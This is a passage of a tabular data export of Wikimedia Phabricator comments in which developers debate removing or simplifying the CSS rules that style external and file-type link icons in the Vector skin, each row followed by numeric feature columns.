A lot of these icons may be better done in something like MediaWiki:Vector/Monobook/Common.css on a per project basis anyhow.",,,1396902298,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,1.0,1.0,0.0,1.0,0.0,7.0,4.0,0.0,1.0,1.0,1.0,1.0,0.0,1.0,0.0,4.0,0.0,3.0,14.0,1.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,1.0,3.0,0.0,5.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,0.0,2.0,0.0,12.0,2.0,2.0,0.0,2.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,5.0,12.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,4.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,1.0,0.0,3.0,0.0,0.0,4.042553191489362,0.7553191489361702,"Apologies if I misunderstood and this had been the agreement.

That said, I am happy to deal with any after effects of this change. I'd hope such a drastic change would surface the icons that are important.

I think the removal of them although somewhat extreme, will make it clearer and easier to restore ones that are vital.

A lot of these icons may be better done in something like MediaWiki:Vector/Monobook/Common.css on a per project basis anyhow."
258636,Large number of CSS rules for external links,"From my understand the external/file format link icons are only relevant when you are actually leaving the site, or when it would cause your browsers to download a file rather than loading it in some kind of built in player, either on site or in-browsers. The original code for this I assume was created prior to mediawiki being able to natively handle many of these file formats. 

That said I think most if not all of these are no longer needed and confuse many users. Overall I would urge us to move towards simplicity when it comes to links, designating only links that take you out of the WMF sites, and links that point to non-existent articles. 

If knowing target file types is relevant to a small subset of users I've argue that this code should be gadgetized by someone who cares to retain this feature.",,,1396900073,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,40,,2.0,0.5,0.0,1.5,0.5,7.0,1.5,0.0,0.0,1.0,1.5,0.5,0.0,1.0,0.0,3.5,0.5,7.0,14.5,0.5,2.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.5,6.5,2.0,1.5,1.0,1.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,1.0,0.5,15.5,1.0,2.0,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.5,0.5,1.0,0.0,3.0,4.0,5.5,3.5,2.5,7.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.5,14.5,1.0,0.0,0.0,0.0,6.5,0.0,3.5,1.0,0.5,2.0,0.5,0.5,0.0,4.073170731707317,0.7926829268292683,"From my understand the external/file format link icons are only relevant when you are actually leaving the site, or when it would cause your browsers to download a file rather than loading it in some kind of built in player, either on site or in-browsers. The original code for this I assume was created prior to mediawiki being able to natively handle many of these file formats. 

That said I think most if not all of these are no longer needed and confuse many users. Overall I would urge us to move towards simplicity when it comes to links, designating only links that take you out of the WMF sites, and links that point to non-existent articles. 

If knowing target file types is relevant to a small subset of users I've argue that this code should be gadgetized by someone who cares to retain this feature."
258630,Large number of CSS rules for external links,"(In reply to Jon from comment #14)
> Great. I'm agnostic about killing the icons or not. My main goal is to start
> cleaning up and improving all the desktop CSS.

I thought we'd agreed to clean up the expensive CSS, and not to delete the icons (which is what https://gerrit.wikimedia.org/r/123817 does).

:/",,,1396809360,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,14.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,16.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2325581395348837,0.813953488372093,"(In reply to Jon from comment #14)
QUOTE
QUOTE

I thought we'd agreed to clean up the expensive CSS, and not to delete the icons (which is what GERRIT_URL does).

:/"
258625,Large number of CSS rules for external links,"Change 123817 merged by jenkins-bot:
Vector: Simply style external links

https://gerrit.wikimedia.org/r/123817",,,1396736501,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.470588235294118,0.9411764705882353,"Change 123817 merged by jenkins-bot:
Vector: Simply style external links

GERRIT_URL"
258620,Large number of CSS rules for external links,"If they're not affected, they're not representative. It doesn't sound rational to mention them in the commit message.",,,1396631124,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,39,,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,12.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.166666666666667,0.8333333333333334,"If they're not affected, they're not representative. It doesn't sound rational to mention them in the commit message."
258614,Large number of CSS rules for external links,"I don't understand the question/problem. All wikis got the beta features experiment.

If those wiki's have local icons, that is fine, they won't be effected by this change to Vector, and will get a performance boost by having a simpler set of css selectors for these icons.",,,1396630023,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,39,,2.0,0.0,0.0,2.0,3.0,5.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,20.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,2.0,2.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,3.864406779661017,0.847457627118644,"I don't understand the question/problem. All wikis got the beta features experiment.

If those wiki's have local icons, that is fine, they won't be effected by this change to Vector, and will get a performance boost by having a simpler set of css selectors for these icons."
258608,Large number of CSS rules for external links,"> During the typography experiment, these were removed, no one raised this as an 
> issue during the 5 months it was live, suggesting that explicit pdf icons etc
> are not as useful as we like to believe.

How many of the (English) wikis in question did not have *local* icons? How do you know how many were actually affected by these changes?",,,1396629807,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,39,,5.0,0.0,0.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,16.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,8.0,8.0,5.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5675675675675675,0.8108108108108109,"QUOTE
QUOTE
QUOTE

How many of the (English) wikis in question did not have *local* icons? How do you know how many were actually affected by these changes?"
258604,Large number of CSS rules for external links,"Change 123817 had a related patch set uploaded by Jdlrobson:
Vector: Simply style external links

https://gerrit.wikimedia.org/r/123817",,,1396625023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.75,0.95,"Change 123817 had a related patch set uploaded by Jdlrobson:
Vector: Simply style external links

GERRIT_URL"
258599,Large number of CSS rules for external links,"See http://lists.wikimedia.org/pipermail/wikitech-l/2013-October/072642.html

Main highlights:

* We shouldn't confuse English Wikipedia's overrides with code in core.  However, there is room to clean that up, even if they want to keep a different icon from core (e.g. moving the Modern-specific code to Modern.css).
* I like the idea of doing it in the parser, but it obviously requires more testing than a CSS change.  To expand on what I said in the email, we could do something generic like 'mw-link-extension-pdf'.  We would need to decide whether to do it for all extensions, or just the ones where core styles it.
* We could consider using the Commons PDF icon in core, if it's freely licensed (have not investigated).",,,1382663777,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,16,,0.5,0.5,0.0,0.0,1.0,3.5,0.0,0.0,0.0,1.0,3.5,2.0,0.0,0.0,0.5,3.5,0.0,5.0,12.0,0.5,3.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,4.0,2.0,3.0,0.5,0.0,0.0,0.0,1.0,1.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,2.0,0.0,0.0,0.5,0.0,0.0,4.5,0.5,9.5,2.5,1.0,5.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,12.0,3.5,0.0,1.5,0.0,7.0,0.0,1.5,1.0,0.0,1.5,0.5,0.0,0.0,3.5611756664388245,0.7840909090909092,"See URL

Main highlights:

* We shouldn't confuse English Wikipedia's overrides with code in core.  However, there is room to clean that up, even if they want to keep a different icon from core (e.g. moving the Modern-specific code to Modern.css).
* I like the idea of doing it in the parser, but it obviously requires more testing than a CSS change.  To expand on what I said in the email, we could do something generic like 'mw-link-extension-pdf'.  We would need to decide whether to do it for all extensions, or just the ones where core styles it.
* We could consider using the Commons PDF icon in core, if it's freely licensed (have not investigated)."
258594,Large number of CSS rules for external links,"(In reply to comment #14)
> Great. I'm agnostic about killing the icons or not. My main goal is to start
> cleaning up and improving all the desktop CSS.

Sensible thing to do, indeed. Just bear in mind caching issues. >.<",,,1380781960,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.25,0.8571428571428571,"(In reply to comment #14)
QUOTE
QUOTE

Sensible thing to do, indeed. Just bear in mind caching issues. >.<"
258588,Large number of CSS rules for external links,Great. I'm agnostic about killing the icons or not. My main goal is to start cleaning up and improving all the desktop CSS.,,,1380661301,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,13,,4.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,15.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.740740740740741,0.8888888888888888,Great. I'm agnostic about killing the icons or not. My main goal is to start cleaning up and improving all the desktop CSS.
258582,Large number of CSS rules for external links,"(In reply to comment #11)
> That aside use of a single class .link-https rather than a
> combination of class .link-https, div#content a.external[href
> ^=""https://""] would be preferable for a variety of reasons
> readability, maintainability, reduced file size... are you really
> telling me this is not a no-brainer?

Using the classes as you proposed does seem sane and mostly non-troublesome (apart from the classic caching issues). I am perfectly fine with doing that (as long as I'm not the one who will have to jerry-rig the Parser).

Killing the icons as suggested in comment 1 is a completely different thing and, apart from what I mentioned in comment 7, I will vehemently oppose doing it.


(In reply to comment #11)
> If you really feel the need for a citation check out:
> http://stevesouders.com/efws/css-selectors/csscreate.php

Either I am unable to figure it out, or it doesn't work. Reflow time is 0 for me no matter what I do. ""page load time"" is measuring the speed of my connection if anything.

(In reply to comment #12)
> CSS rule efficiency table:
> http://csswizardry.com/2011/09/writing-efficient-css-selectors/

This looks interesting; sorry, I don't have time to dig into it right now, but hopefully I will later. (Hopefully it's still relevant - it was apparently written in 2011, and two years is like a few decades at least ;) )",,,1380661163,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,13,,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.0,4.666666666666667,1.3333333333333333,0.0,0.0,0.3333333333333333,3.6666666666666665,1.0,0.0,0.0,0.0,3.6666666666666665,0.0,7.666666666666667,9.333333333333334,0.3333333333333333,2.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.666666666666667,0.0,2.3333333333333335,4.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,9.333333333333334,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,3.0,2.6666666666666665,10.0,0.3333333333333333,2.3333333333333335,3.6666666666666665,0.0,0.0,0.0,1.0,3.6666666666666665,0.3333333333333333,3.3333333333333335,0.0,6.333333333333333,9.333333333333334,1.3333333333333333,0.0,0.6666666666666666,0.0,6.333333333333333,0.0,1.0,0.6666666666666666,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,3.430334444033074,0.7470072812538566,"(In reply to comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Using the classes as you proposed does seem sane and mostly non-troublesome (apart from the classic caching issues). I am perfectly fine with doing that (as long as I'm not the one who will have to jerry-rig the Parser).

Killing the icons as suggested in comment 1 is a completely different thing and, apart from what I mentioned in comment 7, I will vehemently oppose doing it.


(In reply to comment #11)
QUOTE
QUOTE

Either I am unable to figure it out, or it doesn't work. Reflow time is 0 for me no matter what I do. ""page load time"" is measuring the speed of my connection if anything.

(In reply to comment #12)
QUOTE
QUOTE

This looks interesting; sorry, I don't have time to dig into it right now, but hopefully I will later. (Hopefully it's still relevant - it was apparently written in 2011, and two years is like a few decades at least ;) )"
258577,Large number of CSS rules for external links,CSS rule efficiency table: http://csswizardry.com/2011/09/writing-efficient-css-selectors/,,,1380657589,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,83.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,CSS rule efficiency table: URL
258571,Large number of CSS rules for external links,"(In reply to comment #9)
> (In reply to comment #8)
> > The CSS is pretty ridiculous. Let's not forget that CSS parses from the
> > rightmost rule so something like a.external[href ^=""news:""] can be a pretty
> > expensive operation.
> 
> [citation needed]. I don't see why would it be particularly more expensive

If you really feel the need for a citation check out:
http://stevesouders.com/efws/css-selectors/csscreate.php

That aside use of a single class .link-https rather than a combination of class .link-https, div#content a.external[href ^=""https://""] would be preferable for a variety of reasons readability, maintainability, reduced file size... are you really telling me this is not a no-brainer?",,,1380657176,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,1.0,3.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,24.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,11.0,2.0,0.0,8.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,3.0,13.0,7.0,1.0,0.0,0.0,3.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,3.8863636363636362,0.6818181818181818,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

If you really feel the need for a citation check out:
URL

That aside use of a single class .link-https rather than a combination of class .link-https, div#content a.external[href ^=""URL would be preferable for a variety of reasons readability, maintainability, reduced file size... are you really telling me this is not a no-brainer?"
258565,Large number of CSS rules for external links,"(In reply to comment #9)
> (In reply to comment #8)
> > The CSS is pretty ridiculous. Let's not forget that CSS parses from the
> > rightmost rule so something like a.external[href ^=""news:""] can be a pretty
> > expensive operation.
> 
> [citation needed]. I don't see why would it be particularly more expensive
> than
> any of the hundreds of other rules we have. Assuming that the hypothetical
> browser does indeed naively match from the right side always, [href^=""news:""]
> will immediately not match (most elements don't even have a href attribute)
> and
> the ten or so of such rules should not be noticeable.

Afaik selector engines have quick lookup maps for IDs, classes and elements. In the case of "".mw-link-pdf"" that is a very quick lookup.

In the case of ""#bodyContent a.external[href=..]"" it is a lookup for elements of 'a', then for each the classname and the attribute is matched, and then it recursively does a parent check until it finds #bodyContent or the document element.

In theory it could optimise if it had a quick lookup for elements having a certain attribute. But afaik they don't have that, and even if they did, I isn't more efficient per se, cause then the post-check would have to verify tag name and class name for each.

Either way, none of this in particular is bad, it's the whole package of:
* A very strong selector (#bodyContent)
* A parent selector
* Both element and class name (should never be used together)
* Additional attribute matching and string operations on that
* Hardcodes details that (other) stylesheets should not have to know or hardcode, thus causing maintenance issues (e.g. the fact that it is an <a>, and is inside #bodyContent. The container can change, and links might be wrapped for presentational reasons)

Up sides of using a simple class:
* Faster query (one could argue about how much, but it is certainly faster)
* Support for older browsers (this is not a priority though, since all our grade A browsers support it, and it's a minor enhancement with graceful degradation)
* Easier to extend from other components as there is no need to have any knowledge about implementation details (container element, tag name etc.)",,,1380569631,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,13,,1.25,0.0,0.5,0.75,1.0,5.5,1.75,0.0,0.25,0.5,2.25,1.0,0.0,0.0,0.25,0.5,0.0,4.75,9.75,0.25,1.25,0.5,0.25,0.0,0.5,1.0,0.0,0.25,1.0,0.25,0.25,4.25,1.25,2.5,0.75,0.0,0.0,0.0,1.0,0.0,0.25,0.5,0.0,3.0,0.0,0.25,0.25,0.0,0.0,17.75,1.0,0.5,0.25,0.25,0.0,0.0,0.0,0.0,1.25,0.0,0.75,0.75,0.0,0.0,0.0,0.0,0.0,5.5,3.0,8.0,1.5,3.75,8.25,0.0,0.0,0.0,1.25,3.75,0.0,0.25,0.0,3.75,9.75,3.0,0.0,1.5,0.0,3.75,0.0,0.5,3.25,0.0,0.75,1.25,0.0,1.5,3.75,0.6622340425531914,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Afaik selector engines have quick lookup maps for IDs, classes and elements. In the case of "".mw-link-pdf"" that is a very quick lookup.

In the case of ""#bodyContent a.external[href=..]"" it is a lookup for elements of 'a', then for each the classname and the attribute is matched, and then it recursively does a parent check until it finds #bodyContent or the document element.

In theory it could optimise if it had a quick lookup for elements having a certain attribute. But afaik they don't have that, and even if they did, I isn't more efficient per se, cause then the post-check would have to verify tag name and class name for each.

Either way, none of this in particular is bad, it's the whole package of:
* A very strong selector (#bodyContent)
* A parent selector
* Both element and class name (should never be used together)
* Additional attribute matching and string operations on that
* Hardcodes details that (other) stylesheets should not have to know or hardcode, thus causing maintenance issues (e.g. the fact that it is an <a>, and is inside #bodyContent. The container can change, and links might be wrapped for presentational reasons)

Up sides of using a simple class:
* Faster query (one could argue about how much, but it is certainly faster)
* Support for older browsers (this is not a priority though, since all our grade A browsers support it, and it's a minor enhancement with graceful degradation)
* Easier to extend from other components as there is no need to have any knowledge about implementation details (container element, tag name etc.)"
258561,Large number of CSS rules for external links,"(In reply to comment #8)
> The CSS is pretty ridiculous. Let's not forget that CSS parses from the
> rightmost rule so something like a.external[href ^=""news:""] can be a pretty
> expensive operation.

[citation needed]. I don't see why would it be particularly more expensive than any of the hundreds of other rules we have. Assuming that the hypothetical browser does indeed naively match from the right side always, [href^=""news:""] will immediately not match (most elements don't even have a href attribute) and the ten or so of such rules should not be noticeable.",,,1380567205,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,13,,1.0,0.0,0.0,0.0,4.0,8.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,2.0,0.0,15.0,9.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,6.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,7.0,2.0,2.0,7.0,0.0,0.0,0.0,1.0,8.0,0.0,2.0,0.0,3.0,9.0,3.0,0.0,1.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,1.0,1.0,2.0,3.8876404494382024,0.7640449438202247,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

[citation needed]. I don't see why would it be particularly more expensive than any of the hundreds of other rules we have. Assuming that the hypothetical browser does indeed naively match from the right side always, [href^=""news:""] will immediately not match (most elements don't even have a href attribute) and the ten or so of such rules should not be noticeable."
258558,Large number of CSS rules for external links,"The CSS is pretty ridiculous. Let's not forget that CSS parses from the rightmost rule so something like a.external[href ^=""news:""] can be a pretty expensive operation. These rules should be killed with fire in favour of specific classes like link-pdf if needed.

I don't care if we kill or keep rules I just want these rules to die and the CSS in general to be cleaned up.",,,1380561554,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,13,,0.0,1.0,0.0,3.0,3.0,5.0,3.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,4.0,0.0,6.0,18.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,18.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,5.0,10.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,18.0,1.0,0.0,1.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.8987341772151898,0.7974683544303798,"The CSS is pretty ridiculous. Let's not forget that CSS parses from the rightmost rule so something like a.external[href ^=""news:""] can be a pretty expensive operation. These rules should be killed with fire in favour of specific classes like link-pdf if needed.

I don't care if we kill or keep rules I just want these rules to die and the CSS in general to be cleaned up."
258552,Large number of CSS rules for external links,"Per Isarra and Quiddity, I think that the only ones that should be killed are the HTTPS and FTP ones. That CSS is not ridiculous, it's just a little uncool.",,,1380371064,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,3.0,3.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,23.0,3.0,6.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,9.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6285714285714286,0.8285714285714286,"Per Isarra and Quiddity, I think that the only ones that should be killed are the HTTPS and FTP ones. That CSS is not ridiculous, it's just a little uncool."
258548,Large number of CSS rules for external links,"(In reply to comment #5)
> My gut says remove them all esp. the https links, as @Isarra mentioned the
> only
> one that seems to make any real sense is links that point to files, like
> PDFs,
> however  internal (Commons) links have their own viewer. External PDFs seem
> like the only file that marking their links seems relevant in any way. Most
> modern browsers have built-in PDF renders so even the days of PDFs being
> treated special is soon becoming irrelevant. 
> 

Isarra mentioned mailto and IRC links too, which I'd agree are instances where the icon is useful. 

The audio/video icons are also good to have, per principle of least astonishment (eg, someone adds a link to a loud .wav file into an article's external links, and someone else in a quiet office clicks on it).

They also help editors to notice that these uncommon link types are present, and hence to check whether they're really suitable/wanted or not. (If I see an audio-file icon, I often click it to check for spam/vandalism).


> My recommendation would be to remove all special formatting other than
> wikilinks vs external links. 
> 
